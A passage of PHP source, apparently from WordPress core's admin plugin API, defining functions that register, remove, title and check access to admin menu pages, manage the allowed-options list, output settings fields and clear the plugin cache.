	$admin_page_hooks[ $menu_slug ] = sanitize_title( $menu_title );

	$hookname = get_plugin_page_hookname( $menu_slug, '' );

	if ( ! empty( $callback ) && ! empty( $hookname ) && current_user_can( $capability ) ) {
		add_action( $hookname, $callback );
	}

	if ( empty( $icon_url ) ) {
		$icon_url   = 'dashicons-admin-generic';
		$icon_class = 'menu-icon-generic ';
	} else {
		$icon_url   = set_url_scheme( $icon_url );
		$icon_class = '';
	}

	$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );

	if ( null !== $position && ! is_numeric( $position ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: add_menu_page() */
				__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
				'<code>add_menu_page()</code>'
			),
			'6.0.0'
		);
		$position = null;
	}

	if ( null === $position || ! is_numeric( $position ) ) {
		$menu[] = $new_menu;
	} elseif ( isset( $menu[ (string) $position ] ) ) {
		$collision_avoider = base_convert( substr( md5( $menu_slug . $menu_title ), -4 ), 16, 10 ) * 0.00001;
		$position          = (string) ( $position + $collision_avoider );
		$menu[ $position ] = $new_menu;
	} else {
		/*
		 * Cast menu position to a string.
		 *
		 * This allows for floats to be passed as the position. PHP will normally cast a float to an
		 * integer value, this ensures the float retains its mantissa (positive fractional part).
		 *
		 * A string containing an integer value, eg "10", is treated as a numeric index.
		 */
		$position          = (string) $position;
		$menu[ $position ] = $new_menu;
	}

	$_registered_pages[ $hookname ] = true;

	// No parent as top level.
	$_parent_pages[ $menu_slug ] = false;

	return $hookname;
}

/**
 * Adds a submenu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @global array $submenu
 * @global array $menu
 * @global array $_wp_real_parent_file
 * @global bool  $_wp_submenu_nopriv
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string    $parent_slug The slug name for the parent menu (or the file name of a standard
 *                               WordPress admin page).
 * @param string    $page_title  The text to be displayed in the title tags of the page when the menu
 *                               is selected.
 * @param string    $menu_title  The text to be used for the menu.
 * @param string    $capability  The capability required for this menu to be displayed to the user.
 * @param string    $menu_slug   The slug name to refer to this menu by. Should be unique for this menu
 *                               and only include lowercase alphanumeric, dashes, and underscores characters
 *                               to be compatible with sanitize_key().
 * @param callable  $callback    Optional. The function to be called to output the content for this page.
 * @param int|float $position    Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	global $submenu, $menu, $_wp_real_parent_file, $_wp_submenu_nopriv,
		$_registered_pages, $_parent_pages;

	$menu_slug   = plugin_basename( $menu_slug );
	$parent_slug = plugin_basename( $parent_slug );

	if ( isset( $_wp_real_parent_file[ $parent_slug ] ) ) {
		$parent_slug = $_wp_real_parent_file[ $parent_slug ];
	}

	if ( ! current_user_can( $capability ) ) {
		$_wp_submenu_nopriv[ $parent_slug ][ $menu_slug ] = true;
		return false;
	}

	/*
	 * If the parent doesn't already have a submenu, add a link to the parent
	 * as the first item in the submenu. If the submenu file is the same as the
	 * parent file someone is trying to link back to the parent manually. In
	 * this case, don't automatically add a link back to avoid duplication.
	 */
	if ( ! isset( $submenu[ $parent_slug ] ) && $menu_slug !== $parent_slug ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] === $parent_slug && current_user_can( $parent_menu[1] ) ) {
				$submenu[ $parent_slug ][] = array_slice( $parent_menu, 0, 4 );
			}
		}
	}

	$new_sub_menu = array( $menu_title, $capability, $menu_slug, $page_title );

	if ( null !== $position && ! is_numeric( $position ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: add_submenu_page() */
				__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
				'<code>add_submenu_page()</code>'
			),
			'5.3.0'
		);
		$position = null;
	}

	if (
		null === $position ||
		( ! isset( $submenu[ $parent_slug ] ) || $position >= count( $submenu[ $parent_slug ] ) )
	) {
		$submenu[ $parent_slug ][] = $new_sub_menu;
	} else {
		// Test for a negative position.
		$position = max( $position, 0 );
		if ( 0 === $position ) {
			// For negative or `0` positions, prepend the submenu.
			array_unshift( $submenu[ $parent_slug ], $new_sub_menu );
		} else {
			$position = absint( $position );
			// Grab all of the items before the insertion point.
			$before_items = array_slice( $submenu[ $parent_slug ], 0, $position, true );
			// Grab all of the items after the insertion point.
			$after_items = array_slice( $submenu[ $parent_slug ], $position, null, true );
			// Add the new item.
			$before_items[] = $new_sub_menu;
			// Merge the items.
			$submenu[ $parent_slug ] = array_merge( $before_items, $after_items );
		}
	}

	// Sort the parent array.
	ksort( $submenu[ $parent_slug ] );

	$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug );
	if ( ! empty( $callback ) && ! empty( $hookname ) ) {
		add_action( $hookname, $callback );
	}

	$_registered_pages[ $hookname ] = true;

	/*
	 * Backward-compatibility for plugins using add_management_page().
	 * See wp-admin/admin.php for redirect from edit.php to tools.php.
	 */
	if ( 'tools.php' === $parent_slug ) {
		$_registered_pages[ get_plugin_page_hookname( $menu_slug, 'edit.php' ) ] = true;
	}

	// No parent as top level.
	$_parent_pages[ $menu_slug ] = $parent_slug;

	return $hookname;
}

/**
 * Adds a submenu page to the Tools main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Settings main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Appearance main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Plugins main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 3.0.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Users/Profile main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.1.3
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	if ( current_user_can( 'edit_users' ) ) {
		$parent = 'users.php';
	} else {
		$parent = 'profile.php';
	}
	return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Dashboard main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Posts main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Media main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Links main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Pages main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Adds a submenu page to the Comments main menu.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$position` parameter.
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param int      $position   Optional. The position in the menu order this item should appear.
 * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
 */
function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}

/**
 * Removes a top-level admin menu.
 *
 * Example usage:
 *
 *  - `remove_menu_page( 'tools.php' )`
 *  - `remove_menu_page( 'plugin_menu_slug' )`
 *
 * @since 3.1.0
 *
 * @global array $menu
 *
 * @param string $menu_slug The slug of the menu.
 * @return array|false The removed menu on success, false if not found.
 */
function remove_menu_page( $menu_slug ) {
	global $menu;

	foreach ( $menu as $i => $item ) {
		if ( $menu_slug === $item[2] ) {
			unset( $menu[ $i ] );
			return $item;
		}
	}

	return false;
}

/**
 * Removes an admin submenu.
 *
 * Example usage:
 *
 *  - `remove_submenu_page( 'themes.php', 'nav-menus.php' )`
 *  - `remove_submenu_page( 'tools.php', 'plugin_submenu_slug' )`
 *  - `remove_submenu_page( 'plugin_menu_slug', 'plugin_submenu_slug' )`
 *
 * @since 3.1.0
 *
 * @global array $submenu
 *
 * @param string $menu_slug    The slug for the parent menu.
 * @param string $submenu_slug The slug of the submenu.
 * @return array|false The removed submenu on success, false if not found.
 */
function remove_submenu_page( $menu_slug, $submenu_slug ) {
	global $submenu;

	if ( ! isset( $submenu[ $menu_slug ] ) ) {
		return false;
	}

	foreach ( $submenu[ $menu_slug ] as $i => $item ) {
		if ( $submenu_slug === $item[2] ) {
			unset( $submenu[ $menu_slug ][ $i ] );
			return $item;
		}
	}

	return false;
}

/**
 * Gets the URL to access a particular menu page based on the slug it was registered with.
 *
 * If the slug hasn't been registered properly, no URL will be returned.
 *
 * @since 3.0.0
 *
 * @global array $_parent_pages
 *
 * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
 * @param bool   $display   Optional. Whether or not to display the URL. Default true.
 * @return string The menu page URL.
 */
function menu_page_url( $menu_slug, $display = true ) {
	global $_parent_pages;

	if ( isset( $_parent_pages[ $menu_slug ] ) ) {
		$parent_slug = $_parent_pages[ $menu_slug ];

		if ( $parent_slug && ! isset( $_parent_pages[ $parent_slug ] ) ) {
			$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
		} else {
			$url = admin_url( 'admin.php?page=' . $menu_slug );
		}
	} else {
		$url = '';
	}

	$url = esc_url( $url );

	if ( $display ) {
		echo $url;
	}

	return $url;
}

//
// Pluggable Menu Support -- Private.
//
/**
 * Gets the parent file of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $parent_file
 * @global array  $menu
 * @global array  $submenu
 * @global string $pagenow              The filename of the current screen.
 * @global string $typenow              The post type of the current screen.
 * @global string $plugin_page
 * @global array  $_wp_real_parent_file
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 *
 * @param string $parent_page Optional. The slug name for the parent menu (or the file name
 *                            of a standard WordPress admin page). Default empty string.
 * @return string The parent file of the current admin page.
 */
function get_admin_page_parent( $parent_page = '' ) {
	global $parent_file, $menu, $submenu, $pagenow, $typenow,
		$plugin_page, $_wp_real_parent_file, $_wp_menu_nopriv, $_wp_submenu_nopriv;

	if ( ! empty( $parent_page ) && 'admin.php' !== $parent_page ) {
		if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
			$parent_page = $_wp_real_parent_file[ $parent_page ];
		}

		return $parent_page;
	}

	if ( 'admin.php' === $pagenow && isset( $plugin_page ) ) {
		foreach ( (array) $menu as $parent_menu ) {
			if ( $parent_menu[2] === $plugin_page ) {
				$parent_file = $plugin_page;

				if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
				}

				return $parent_file;
			}
		}
		if ( isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			$parent_file = $plugin_page;

			if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
					$parent_file = $_wp_real_parent_file[ $parent_file ];
			}

			return $parent_file;
		}
	}

	if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
		$parent_file = $pagenow;

		if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
			$parent_file = $_wp_real_parent_file[ $parent_file ];
		}

		return $parent_file;
	}

	foreach ( array_keys( (array) $submenu ) as $parent_page ) {
		foreach ( $submenu[ $parent_page ] as $submenu_array ) {
			if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
				$parent_page = $_wp_real_parent_file[ $parent_page ];
			}

			if ( ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $submenu_array[2] ) {
				$parent_file = $parent_page;
				return $parent_page;
			} elseif ( empty( $typenow ) && $pagenow === $submenu_array[2]
				&& ( empty( $parent_file ) || ! str_contains( $parent_file, '?' ) )
			) {
				$parent_file = $parent_page;
				return $parent_page;
			} elseif ( isset( $plugin_page ) && $plugin_page === $submenu_array[2] ) {
				$parent_file = $parent_page;
				return $parent_page;
			}
		}
	}

	if ( empty( $parent_file ) ) {
		$parent_file = '';
	}
	return '';
}

/**
 * Gets the title of the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $title
 * @global array  $menu
 * @global array  $submenu
 * @global string $pagenow     The filename of the current screen.
 * @global string $typenow     The post type of the current screen.
 * @global string $plugin_page
 *
 * @return string The title of the current admin page.
 */
function get_admin_page_title() {
	global $title, $menu, $submenu, $pagenow, $typenow, $plugin_page;

	if ( ! empty( $title ) ) {
		return $title;
	}

	$hook = get_plugin_page_hook( $plugin_page, $pagenow );

	$parent  = get_admin_page_parent();
	$parent1 = $parent;

	if ( empty( $parent ) ) {
		foreach ( (array) $menu as $menu_array ) {
			if ( isset( $menu_array[3] ) ) {
				if ( $menu_array[2] === $pagenow ) {
					$title = $menu_array[3];
					return $menu_array[3];
				} elseif ( isset( $plugin_page ) && $plugin_page === $menu_array[2] && $hook === $menu_array[5] ) {
					$title = $menu_array[3];
					return $menu_array[3];
				}
			} else {
				$title = $menu_array[0];
				return $title;
			}
		}
	} else {
		foreach ( array_keys( $submenu ) as $parent ) {
			foreach ( $submenu[ $parent ] as $submenu_array ) {
				if ( isset( $plugin_page )
					&& $plugin_page === $submenu_array[2]
					&& ( $pagenow === $parent
						|| $plugin_page === $parent
						|| $plugin_page === $hook
						|| 'admin.php' === $pagenow && $parent1 !== $submenu_array[2]
						|| ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $parent )
					) {
						$title = $submenu_array[3];
						return $submenu_array[3];
				}

				if ( $submenu_array[2] !== $pagenow || isset( $_GET['page'] ) ) { // Not the current page.
					continue;
				}

				if ( isset( $submenu_array[3] ) ) {
					$title = $submenu_array[3];
					return $submenu_array[3];
				} else {
					$title = $submenu_array[0];
					return $title;
				}
			}
		}
		if ( empty( $title ) ) {
			foreach ( $menu as $menu_array ) {
				if ( isset( $plugin_page )
					&& $plugin_page === $menu_array[2]
					&& 'admin.php' === $pagenow
					&& $parent1 === $menu_array[2]
				) {
						$title = $menu_array[3];
						return $menu_array[3];
				}
			}
		}
	}

	return $title;
}

/**
 * Gets the hook attached to the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string|null Hook attached to the plugin page, null otherwise.
 */
function get_plugin_page_hook( $plugin_page, $parent_page ) {
	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
	if ( has_action( $hook ) ) {
		return $hook;
	} else {
		return null;
	}
}

/**
 * Gets the hook name for the administrative page of a plugin.
 *
 * @since 1.5.0
 *
 * @global array $admin_page_hooks
 *
 * @param string $plugin_page The slug name of the plugin page.
 * @param string $parent_page The slug name for the parent menu (or the file name of a standard
 *                            WordPress admin page).
 * @return string Hook name for the plugin page.
 */
function get_plugin_page_hookname( $plugin_page, $parent_page ) {
	global $admin_page_hooks;

	$parent = get_admin_page_parent( $parent_page );

	$page_type = 'admin';
	if ( empty( $parent_page ) || 'admin.php' === $parent_page || isset( $admin_page_hooks[ $plugin_page ] ) ) {
		if ( isset( $admin_page_hooks[ $plugin_page ] ) ) {
			$page_type = 'toplevel';
		} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
			$page_type = $admin_page_hooks[ $parent ];
		}
	} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
		$page_type = $admin_page_hooks[ $parent ];
	}

	$plugin_name = preg_replace( '!\.php!', '', $plugin_page );

	return $page_type . '_page_' . $plugin_name;
}

/**
 * Determines whether the current user can access the current admin page.
 *
 * @since 1.5.0
 *
 * @global string $pagenow            The filename of the current screen.
 * @global array  $menu
 * @global array  $submenu
 * @global array  $_wp_menu_nopriv
 * @global array  $_wp_submenu_nopriv
 * @global string $plugin_page
 * @global array  $_registered_pages
 *
 * @return bool True if the current user can access the admin page, false otherwise.
 */
function user_can_access_admin_page() {
	global $pagenow, $menu, $submenu, $_wp_menu_nopriv, $_wp_submenu_nopriv,
		$plugin_page, $_registered_pages;

	$parent = get_admin_page_parent();

	if ( ! isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $parent ][ $pagenow ] ) ) {
		return false;
	}

	if ( isset( $plugin_page ) ) {
		if ( isset( $_wp_submenu_nopriv[ $parent ][ $plugin_page ] ) ) {
			return false;
		}

		$hookname = get_plugin_page_hookname( $plugin_page, $parent );

		if ( ! isset( $_registered_pages[ $hookname ] ) ) {
			return false;
		}
	}

	if ( empty( $parent ) ) {
		if ( isset( $_wp_menu_nopriv[ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $_wp_submenu_nopriv[ $pagenow ][ $pagenow ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
			return false;
		}
		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
			return false;
		}

		foreach ( array_keys( $_wp_submenu_nopriv ) as $key ) {
			if ( isset( $_wp_submenu_nopriv[ $key ][ $pagenow ] ) ) {
				return false;
			}
			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $key ][ $plugin_page ] ) ) {
				return false;
			}
		}

		return true;
	}

	if ( isset( $plugin_page ) && $plugin_page === $parent && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
		return false;
	}

	if ( isset( $submenu[ $parent ] ) ) {
		foreach ( $submenu[ $parent ] as $submenu_array ) {
			if ( isset( $plugin_page ) && $submenu_array[2] === $plugin_page ) {
				return current_user_can( $submenu_array[1] );
			} elseif ( $submenu_array[2] === $pagenow ) {
				return current_user_can( $submenu_array[1] );
			}
		}
	}

	foreach ( $menu as $menu_array ) {
		if ( $menu_array[2] === $parent ) {
			return current_user_can( $menu_array[1] );
		}
	}

	return true;
}

/* Allowed list functions */

/**
 * Refreshes the value of the allowed options list available via the 'allowed_options' hook.
 *
 * See the {@see 'allowed_options'} filter.
 *
 * @since 2.7.0
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 *
 * @param array $options
 * @return array
 */
function option_update_filter( $options ) {
	global $new_allowed_options;

	if ( is_array( $new_allowed_options ) ) {
		$options = add_allowed_options( $new_allowed_options, $options );
	}

	return $options;
}

/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 5.5.0
 *
 * @global array $allowed_options
 *
 * @param array        $new_options
 * @param string|array $options
 * @return array
 */
function add_allowed_options( $new_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

	foreach ( $new_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( ! isset( $allowed_options[ $page ] ) || ! is_array( $allowed_options[ $page ] ) ) {
				$allowed_options[ $page ]   = array();
				$allowed_options[ $page ][] = $key;
			} else {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false === $pos ) {
					$allowed_options[ $page ][] = $key;
				}
			}
		}
	}

	return $allowed_options;
}

/**
 * Removes a list of options from the allowed options list.
 *
 * @since 5.5.0
 *
 * @global array $allowed_options
 *
 * @param array        $del_options
 * @param string|array $options
 * @return array
 */
function remove_allowed_options( $del_options, $options = '' ) {
	if ( '' === $options ) {
		global $allowed_options;
	} else {
		$allowed_options = $options;
	}

	foreach ( $del_options as $page => $keys ) {
		foreach ( $keys as $key ) {
			if ( isset( $allowed_options[ $page ] ) && is_array( $allowed_options[ $page ] ) ) {
				$pos = array_search( $key, $allowed_options[ $page ], true );
				if ( false !== $pos ) {
					unset( $allowed_options[ $page ][ $pos ] );
				}
			}
		}
	}

	return $allowed_options;
}

/**
 * Outputs nonce, action, and option_page fields for a settings page.
 *
 * @since 2.7.0
 *
 * @param string $option_group A settings group name. This should match the group name
 *                             used in register_setting().
 */
function settings_fields( $option_group ) {
	echo "<input type='hidden' name='option_page' value='" . esc_attr( $option_group ) . "' />";
	echo '<input type="hidden" name="action" value="update" />';
	wp_nonce_field( "$option_group-options" );
}

/**
 * Clears the plugins cache used by get_plugins() and by default, the plugin updates cache.
 *
 * @since 3.7.0
 *
 * @param bool $clear_update_cache Whether to clear the plugin updates cache. Default true.
 */
function wp_clean_plugins_cache( $clear_update_cache = true ) {
	if ( $clear_update_cache ) {
		delete_site_transient( 'update_plugins' );
	}
	wp_cache_delete( 'plugins', 'plugins' );
}

/**
 * Loads a given plugin attempt to generate errors.
 *
 * @since 3.0.0
 * @since 4.4.0 Function was moved into the `wp-admin/includes/plugin.php` file.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 */
function plugin_sandbox_scrape( $plugin ) {
	if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
		define( 'WP_SANDBOX_SCRAPING', true );
	}

	wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
	include_once WP_PLUGIN_DIR . '/' . $plugin;
}

/**
 * Declares a helper function for adding content to the Privacy Policy Guide.
 *
 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
 * The suggested text should contain information about any functionality that affects user privacy,
 * and will be shown on the Privacy Policy Guide screen.
 *
 * A plugin or theme can use this function multiple times as long as it will help to better present
 * the suggested policy content. For example modular plugins such as WooCommerse or Jetpack
 * can add or remove suggested content depending on the modules/extensions that are enabled.
 * For more information see the Plugin Handbook:
 * https://developer.wordpress.org/plugins/privacy/suggesting-text-for-the-site-privacy-policy/.
 *
 * The HTML contents of the `$policy_text` supports use of a specialized `.privacy-policy-tutorial`
 * CSS class which can be used to provide supplemental information. Any content contained within
 * HTML elements that have the `.privacy-policy-tutorial` CSS class applied will be omitted
 * from the clipboard when the section content is copied.
 *
 * Intended for use with the `'admin_init'` action.
 *
 * @since 4.9.6
 *
